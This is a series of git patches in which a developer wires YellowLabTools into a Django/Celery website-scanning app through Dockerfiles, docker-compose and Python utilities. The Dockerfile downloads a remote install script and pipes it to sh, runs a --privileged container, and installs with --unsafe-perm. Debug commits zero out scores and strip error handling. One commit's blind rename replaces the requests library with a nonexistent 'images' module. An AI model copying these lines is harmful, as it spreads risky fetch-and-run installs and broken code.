+  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b ${VERSION} . \
+  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \

From 846ec240e2ca79ba27087f927d6bef4239c1290a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:25:57 -0600
Subject: [PATCH 313/752] updated dockerfile

---
 functions/dockerfiles/Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 38fdf649..9c382ebb 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -15,7 +15,7 @@ ENV GENERATE_SOURCEMAP=false
 WORKDIR /usr/src/ylt
 
 RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b ${VERSION} . \
+  && git clone https://github.com/YellowLabTools/YellowLabTools-server.git -b main . \
   && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
   && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \

From c52a07dee1041f1bd076ea6dab8a66f25a1c998e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:28:42 -0600
Subject: [PATCH 314/752] updated dockerfile

---
 functions/dockerfiles/Dockerfile | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 9c382ebb..014c98ca 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -46,7 +46,8 @@ USER nobody
 ENV XDG_CONFIG_HOME /tmp/.chromium
 ENV XDG_CACHE_HOME /tmp/.chromium
 
+ENV DEBUG *
 
+EXPOSE  8383
 
-# entry point
-ENTRYPOINT [ "yellowlabtools" ]
\ No newline at end of file
+CMD     ["node", "bin/server.js"]
\ No newline at end of file

From 7e8c25af5f65fbb4bd390edbd9cfa900518a5f55 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:29:19 -0600
Subject: [PATCH 315/752] updated dockerfile

---
 functions/dockerfiles/Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/functions/dockerfiles/Dockerfile b/functions/dockerfiles/Dockerfile
index 014c98ca..2be57998 100644
--- a/functions/dockerfiles/Dockerfile
+++ b/functions/dockerfiles/Dockerfile
@@ -48,6 +48,6 @@ ENV XDG_CACHE_HOME /tmp/.chromium
 
 ENV DEBUG *
 
-EXPOSE  8383
+EXPOSE 8383
 
-CMD     ["node", "bin/server.js"]
\ No newline at end of file
+CMD ["node", "bin/server.js"]
\ No newline at end of file

From bbcc0885ca4a578384603dfde8a69e9d322f6856 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 13:58:14 -0600
Subject: [PATCH 316/752] trying new cmd

---
 docker-compose.dev.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 036d715e..bd28fbe2 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -23,7 +23,7 @@ services:
              sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
@@ -58,7 +58,7 @@ services:
       sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
              service docker start &&
              sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 ousamabenyounes/yellowlabtools &&
+             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr

From b91c19ee9fa45b7fcdd43593363c15f5067f44ab Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:20:58 -0600
Subject: [PATCH 317/752] added new notes

---
 notes/Deployment.md | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/notes/Deployment.md b/notes/Deployment.md
index 9b161d1f..b543a5d9 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -5,6 +5,8 @@
   - [Remote](#remote)
   - [Deploy Yellowlabs](#deploy-yellowlabs)
   - [Scripts](#scripts)
+    - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
+    - [Get \& Set Node Memory:](#get--set-node-memory)
 
 
 &nbsp;
@@ -138,3 +140,27 @@ $ docker-compose -f docker-compose.prod.yml down -v
 ``` shell
 $ docker exec -it <container:id> /bin/sh
 ```
+
+
+### Install and run Docker in Containers
+```shell
+sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
+service docker start &&
+sleep 10 &&
+docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
+```
+
+
+### Get & Set Node Memory:
+Get Current Memory
+```shell
+node -e 'console.log(v8.getHeapStatistics().heap_size_limit/(1024*1024))'
+```
+Set New Memory
+```shell
+export NODE_OPTIONS="--max-old-space-size=4080" # Increase to 4 GB
+export NODE_OPTIONS="--max-old-space-size=5120" # Increase to 5 GB
+export NODE_OPTIONS="--max-old-space-size=6144" # Increase to 6 GB
+export NODE_OPTIONS="--max-old-space-size=7168" # Increase to 7 GB
+export NODE_OPTIONS="--max-old-space-size=8192" # Increase to 8 GB
+```

From be8bfaaf03e0138d560f3a9b7f708a060bfeb43f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:21:05 -0600
Subject: [PATCH 318/752] adding yellolab container

---
 docker-compose.dev.yml | 37 ++++++++++++++++++++++++++++---------
 1 file changed, 28 insertions(+), 9 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index bd28fbe2..ea71861f 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -20,15 +20,13 @@ services:
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
-             sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start &&
-             sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
              gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000"
     expose:
       - 8000
     env_file:
       - ./env/.env.dev
+    networks:
+      - back-tier
 
 
   db:
@@ -39,12 +37,16 @@ services:
       - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
+    networks:
+      - back-tier
 
 
   redis:
     image: redis:alpine
     ports:
       - "6379"
+    networks:
+      - back-tier
 
 
   celery:
@@ -55,11 +57,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-             service docker start &&
-             sleep 10 &&
-             docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt &&
-             celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:
@@ -68,6 +66,24 @@ services:
       - redis
       - app
       - db
+    networks:
+      - back-tier
+
+    
+  yellowlab:
+    container_name: yellowlab
+    privileged: true
+    restart: always
+    build: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+    networks:
+      - back-tier
       
 
   nginx-proxy:
@@ -101,6 +117,9 @@ services:
       - nginx-proxy
 
 
+networks:
+  back-tier:
+
 volumes:
   static_volume:
   letsencrypt-acme:

From 42b4f6bb6490afca43cce71319609fede3dd201b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:23:57 -0600
Subject: [PATCH 319/752] fixed tag issue

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index ea71861f..d82762d2 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -74,7 +74,7 @@ services:
     container_name: yellowlab
     privileged: true
     restart: always
-    build: scanerr/ylt
+    image: scanerr/ylt
     ports:
       - 8383:8383
     depends_on:

From dc626604b1a121aaf9f9909862edfe6bfa0c3de8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 14:34:09 -0600
Subject: [PATCH 320/752] removed network

---
 docker-compose.dev.yml | 18 +++++-------------
 1 file changed, 5 insertions(+), 13 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d82762d2..7142d662 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -25,8 +25,7 @@ services:
       - 8000
     env_file:
       - ./env/.env.dev
-    networks:
-      - back-tier
+    
 
 
   db:
@@ -37,16 +36,14 @@ services:
       - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
-    networks:
-      - back-tier
+    
 
 
   redis:
     image: redis:alpine
     ports:
       - "6379"
-    networks:
-      - back-tier
+    
 
 
   celery:
@@ -66,8 +63,7 @@ services:
       - redis
       - app
       - db
-    networks:
-      - back-tier
+    
 
     
   yellowlab:
@@ -82,8 +78,7 @@ services:
       - celery 
       - app
       - db
-    networks:
-      - back-tier
+    
       
 
   nginx-proxy:
@@ -117,9 +112,6 @@ services:
       - nginx-proxy
 
 
-networks:
-  back-tier:
-
 volumes:
   static_volume:
   letsencrypt-acme:

From 068ed2b82230946a4bd20b99cd25c8b88d4898f4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 15:10:44 -0600
Subject: [PATCH 321/752] debugging issues

---
 app/api/utils/yellowlab.py | 82 +++++++++++++++++++-------------------
 1 file changed, 41 insertions(+), 41 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index f6623615..94004a56 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -228,47 +228,47 @@ def get_data(self):
             print(e)
             print(f'YELLOWLAB CLI FAILED, Trying API...')
 
-            try:
-                raw_data = self.yellowlab_api()
-                data = self.process_data(stdout_json=raw_data)
-                return data
-
-            except Exception as e:
-                print(f'YELLOWLAB API FAILED --> {e}')
-
-                scores = {
-                    "globalScore": None,
-                    "pageWeight": None, 
-                    "requests": None, 
-                    "domComplexity": None, 
-                    "javascriptComplexity": None,
-                    "badJavascript": None,
-                    "jQuery": None,
-                    "cssComplexity": None,
-                    "badCSS": None,
-                    "fonts": None,
-                    "serverConfig": None,
-                }
-
-                audits = {
-                    "pageWeight": [], 
-                    "requests": [], 
-                    "domComplexity": [], 
-                    "javascriptComplexity": [],
-                    "badJavascript": [],
-                    "jQuery": [],
-                    "cssComplexity": [],
-                    "badCSS": [],
-                    "fonts": [],
-                    "serverConfig": [],
-                }
-
-                data = {
-                    "scores": scores, 
-                    "audits": audits,
-                    "failed": True
-                }
+            # try:
+            raw_data = self.yellowlab_api()
+            data = self.process_data(stdout_json=raw_data)
+            return data
+
+            # except Exception as e:
+            #     print(f'YELLOWLAB API FAILED --> {e}')
+
+            #     scores = {
+            #         "globalScore": None,
+            #         "pageWeight": None, 
+            #         "requests": None, 
+            #         "domComplexity": None, 
+            #         "javascriptComplexity": None,
+            #         "badJavascript": None,
+            #         "jQuery": None,
+            #         "cssComplexity": None,
+            #         "badCSS": None,
+            #         "fonts": None,
+            #         "serverConfig": None,
+            #     }
+
+            #     audits = {
+            #         "pageWeight": [], 
+            #         "requests": [], 
+            #         "domComplexity": [], 
+            #         "javascriptComplexity": [],
+            #         "badJavascript": [],
+            #         "jQuery": [],
+            #         "cssComplexity": [],
+            #         "badCSS": [],
+            #         "fonts": [],
+            #         "serverConfig": [],
+            #     }
+
+            #     data = {
+            #         "scores": scores, 
+            #         "audits": audits,
+            #         "failed": True
+            #     }
             
-                return data
+            #     return data
         
 

From a0cd1dc7f835de0fee821a627a0af694d3269156 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 15:28:39 -0600
Subject: [PATCH 322/752] debugging

---
 app/api/utils/scanner.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index df40232b..b405b4cf 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -578,16 +578,16 @@ def _yellowlab(scan_id, test_id, automation_id):
     """ 
     scan = Scan.objects.get(id=scan_id)
     
-    try:
-        # running yellowlab
-        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.yellowlab = yl_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    # try:
+    # running yellowlab
+    yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.yellowlab = yl_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From fdd2424bba9c725d2233c463cf8e451d28404a51 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 11 Mar 2024 15:48:26 -0600
Subject: [PATCH 323/752] debugging

---
 app/api/utils/yellowlab.py | 80 ++++++++++++++++++++++----------------
 1 file changed, 47 insertions(+), 33 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 94004a56..6775a79c 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -133,44 +133,58 @@ def process_data(self, stdout_json: dict) -> dict:
             "cssComplexity": [],
             "badCSS": [],
             "fonts": [],
-            "serverConfig": [],
+            "serverConfig": stdout_json,
         }
 
         # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-        for cat in audits:
-            cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
-            for a in cat_audits:
-                try:
-                    audit = stdout_json["rules"][a]
-                    audits[cat].append(audit)
-                except:
-                    pass
-
-        # get scores from each category
-        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-        requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
+        # for cat in audits:
+        #     cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
+        #     for a in cat_audits:
+        #         try:
+        #             audit = stdout_json["rules"][a]
+        #             audits[cat].append(audit)
+        #         except:
+        #             pass
+
+        # # get scores from each category
+        # globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+        # pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
+        # domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        # javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        # badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        # jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        # cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        # badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        # fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        # serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
         
+        # scores = {
+        #     "globalScore": globalScore,
+        #     "pageWeight": pageWeight_score, 
+        #     "requests": requests_score, 
+        #     "domComplexity": domComplexity_score, 
+        #     "javascriptComplexity": javascriptComplexity_score,
+        #     "badJavascript": badJavascript_score,
+        #     "jQuery": jQuery_score,
+        #     "cssComplexity": cssComplexity_score,
+        #     "badCSS": badCSS_score,
+        #     "fonts": fonts_score,
+        #     "serverConfig": serverConfig_score,
+        # }
+
         scores = {
-            "globalScore": globalScore,
-            "pageWeight": pageWeight_score, 
-            "requests": requests_score, 
-            "domComplexity": domComplexity_score, 
-            "javascriptComplexity": javascriptComplexity_score,
-            "badJavascript": badJavascript_score,
-            "jQuery": jQuery_score,
-            "cssComplexity": cssComplexity_score,
-            "badCSS": badCSS_score,
-            "fonts": fonts_score,
-            "serverConfig": serverConfig_score,
+            "globalScore": 0,
+            "pageWeight": 0, 
+            "requests": 0, 
+            "domComplexity": 0, 
+            "javascriptComplexity": 0,
+            "badJavascript": 0,
+            "jQuery": 0,
+            "cssComplexity": 0,
+            "badCSS": 0,
+            "fonts": 0,
+            "serverConfig": 0,
         }
 
         # save audits data as json file

From 2d0a82b8824f1840f09920c899095f55968a8e59 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 12 Mar 2024 09:16:12 -0600
Subject: [PATCH 324/752] using yellowlab 3.0.1

---
 Dockerfile                                    | 11 ++-
 app/api/models.py                             |  6 +-
 app/api/utils/alerts.py                       | 16 ++--
 app/api/utils/automations.py                  |  8 +-
 app/api/utils/tester.py                       | 16 ++--
 app/api/utils/yellowlab.py                    | 82 ++++++++-----------
 functions/scanerr-yl/.gitignore               |  7 --
 .../packages/scanerr/yellowlab/package.json   | 10 ---
 .../packages/scanerr/yellowlab/yellowlab.js   | 16 ----
 functions/scanerr-yl/project.yml              | 19 -----
 .../{dockerfiles => yellowlab}/Dockerfile     |  0
 11 files changed, 66 insertions(+), 125 deletions(-)
 delete mode 100644 functions/scanerr-yl/.gitignore
 delete mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/package.json
 delete mode 100644 functions/scanerr-yl/packages/scanerr/yellowlab/yellowlab.js
 delete mode 100644 functions/scanerr-yl/project.yml
 rename functions/{dockerfiles => yellowlab}/Dockerfile (100%)

diff --git a/Dockerfile b/Dockerfile
index d4490295..a795c01a 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -52,7 +52,7 @@ RUN npm cache clean --force
 RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
 
 # installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
@@ -69,6 +69,11 @@ RUN chown -R app:app /usr/bin/chromium
 # removing chromium config
 RUN rm -rf ~/.config/chromium
 
-# trying to install docker
+# install docker
 RUN curl -fsSL https://get.docker.com -o get-docker.sh && \ 
-    sh get-docker.sh
\ No newline at end of file
+    sh get-docker.sh
+
+RUN sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker; \
+    service docker start && \
+    sleep 10 && \
+    docker run -d --privileged --restart unless-stopped -p 8383:8383 scanerr/ylt
\ No newline at end of file
diff --git a/app/api/models.py b/app/api/models.py
index e2e67e1a..063e2966 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -33,7 +33,7 @@ def get_info_default():
             'yellowlab': {
                 'globalScore': None,
                 'pageWeight': None,
-                'requests': None, 
+                'images': None, 
                 'domComplexity': None, 
                 'javascriptComplexity': None,
                 'badJavascript': None,
@@ -100,7 +100,7 @@ def get_yl_delta_default():
         "scores": {
             "average_delta": None,
             "pageWeight_delta": None, 
-            "requests_delta": None, 
+            "images_delta": None, 
             "domComplexity_delta": None, 
             "javascriptComplexity_delta": None,
             "badJavascript_delta": None,
@@ -137,7 +137,7 @@ def get_yl_default():
        "scores": {
             "globalScore": None,
             "pageWeight": None, 
-            "requests": None, 
+            "images": None, 
             "domComplexity": None, 
             "javascriptComplexity": None,
             "badJavascript": None,
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index a2912352..f30c8079 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -67,8 +67,8 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t'
         elif 'pageWeight_delta' in e['data_type']:
             data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t'
-        elif 'requests_delta' in e['data_type']:
-            data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t'
+        elif 'images_delta' in e['data_type']:
+            data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["images_delta"])+'\n\t'
         elif 'domComplexity_delta' in e['data_type']:
             data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t'
         elif 'javascriptComplexity_delta' in e['data_type']:
@@ -91,8 +91,8 @@ def create_exp_str(item, automation, is_email=False):
             data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t'
         elif 'pageWeight' in e['data_type']:
             data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t'
-        elif 'requests' in e['data_type']:
-            data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t'
+        elif 'images' in e['data_type']:
+            data_type = 'Requests:\t'+str(item.yellowlab["scores"]["images"])+'\n\t'
         elif 'domComplexity' in e['data_type']:
             data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t'
         elif 'javascriptComplexity' in e['data_type']:
@@ -184,8 +184,8 @@ def create_json_data(data, obj):
             json_data[key] = item.yellowlab_delta["scores"]["current_average"]
         elif 'pageWeight_delta' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"]
-        elif 'requests_delta' == json_data[key]:
-            json_data[key] = item.yellowlab_delta["scores"]["requests_delta"]
+        elif 'images_delta' == json_data[key]:
+            json_data[key] = item.yellowlab_delta["scores"]["images_delta"]
         elif 'domComplexity_delta' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"]
         elif 'javascriptComplexity_delta' == json_data[key]:
@@ -207,8 +207,8 @@ def create_json_data(data, obj):
             json_data[key] = item.yellowlab["scores"]["globalScore"]
         elif 'pageWeight' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["pageWeight"]
-        elif 'requests' == json_data[key]:
-            json_data[key] = item.yellowlab["scores"]["requests"]
+        elif 'images' == json_data[key]:
+            json_data[key] = item.yellowlab["scores"]["images"]
         elif 'domComplexity' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["domComplexity"]
         elif 'javascriptComplexity' == json_data[key]:
diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py
index ea7be1b9..53a235e7 100644
--- a/app/api/utils/automations.py
+++ b/app/api/utils/automations.py
@@ -115,8 +115,8 @@ def automation(automation_id, object_id):
                 data_type = 'float(test.yellowlab_delta["scores"]["current_average"])'
             elif 'pageWeight_delta' in expression['data_type']:
                 data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])'
-            elif 'requests_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])'
+            elif 'images_delta' in expression['data_type']:
+                data_type = 'float(test.yellowlab_delta["scores"]["images_delta"])'
             elif 'domComplexity_delta' in expression['data_type']:
                 data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])'
             elif 'javascriptComplexity_delta' in expression['data_type']:
@@ -138,8 +138,8 @@ def automation(automation_id, object_id):
                 data_type = 'float(scan.yellowlab["scores"]["globalScore"])'
             elif 'pageWeight' in expression['data_type']:
                 data_type = 'float(scan.yellowlab["scores"]["pageWeight"])'
-            elif 'requests' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["requests"])'
+            elif 'images' in expression['data_type']:
+                data_type = 'float(scan.yellowlab["scores"]["images"])'
             elif 'domComplexity' in expression['data_type']:
                 data_type = 'float(scan.yellowlab["scores"]["domComplexity"])'
             elif 'javascriptComplexity' in expression['data_type']:
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 2268a17c..9be8bff2 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -3,7 +3,7 @@
 from .image import Image
 from scanerr import settings
 from difflib import SequenceMatcher, HtmlDiff, Differ
-import time, os, sys, json, random, string, re, requests, uuid, boto3
+import time, os, sys, json, random, string, re, images, uuid, boto3
 
 
 
@@ -29,8 +29,8 @@ def __init__(self, test):
 
 
     def clean_html(self):
-        pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
-        post_scan_html_raw = requests.get(self.test.post_scan.html).text
+        pre_scan_html_raw = images.get(self.test.pre_scan.html).text
+        post_scan_html_raw = images.get(self.test.post_scan.html).text
         pre_scan_html = pre_scan_html_raw.splitlines()
         post_scan_html = post_scan_html_raw.splitlines()
 
@@ -338,7 +338,7 @@ def delta_yellowlab(self):
         try:
             pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore'])
             pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight'])
-            pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests'])
+            pre_images = int(self.test.pre_scan.yellowlab["scores"]['images'])
             pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity'])
             pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity'])
             pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript'])
@@ -350,7 +350,7 @@ def delta_yellowlab(self):
 
             post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore'])
             post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight'])
-            post_requests = int(self.test.post_scan.yellowlab["scores"]['requests'])
+            post_images = int(self.test.post_scan.yellowlab["scores"]['images'])
             post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity'])
             post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity'])
             post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript'])
@@ -361,7 +361,7 @@ def delta_yellowlab(self):
             post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig'])
 
             pageWeight_delta = post_pageWeight - pre_pageWeight
-            requests_delta = post_requests - pre_requests
+            images_delta = post_images - pre_images
             domComplexity_delta = post_domComplexity - pre_domComplexity
             javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity
             badJavascript_delta = post_badJavascript - pre_badJavascript
@@ -376,7 +376,7 @@ def delta_yellowlab(self):
 
         except:
             pageWeight_delta = None
-            requests_delta = None
+            images_delta = None
             domComplexity_delta = None
             javascriptComplexity_delta = None
             badJavascript_delta = None
@@ -391,7 +391,7 @@ def delta_yellowlab(self):
         data = {
             "scores": {
                 "pageWeight_delta": pageWeight_delta, 
-                "requests_delta": requests_delta, 
+                "images_delta": images_delta, 
                 "domComplexity_delta": domComplexity_delta, 
                 "javascriptComplexity_delta": javascriptComplexity_delta,
                 "badJavascript_delta": badJavascript_delta,
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 6775a79c..d179af60 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -125,7 +125,7 @@ def process_data(self, stdout_json: dict) -> dict:
         # initial audits object
         audits = {
             "pageWeight": [], 
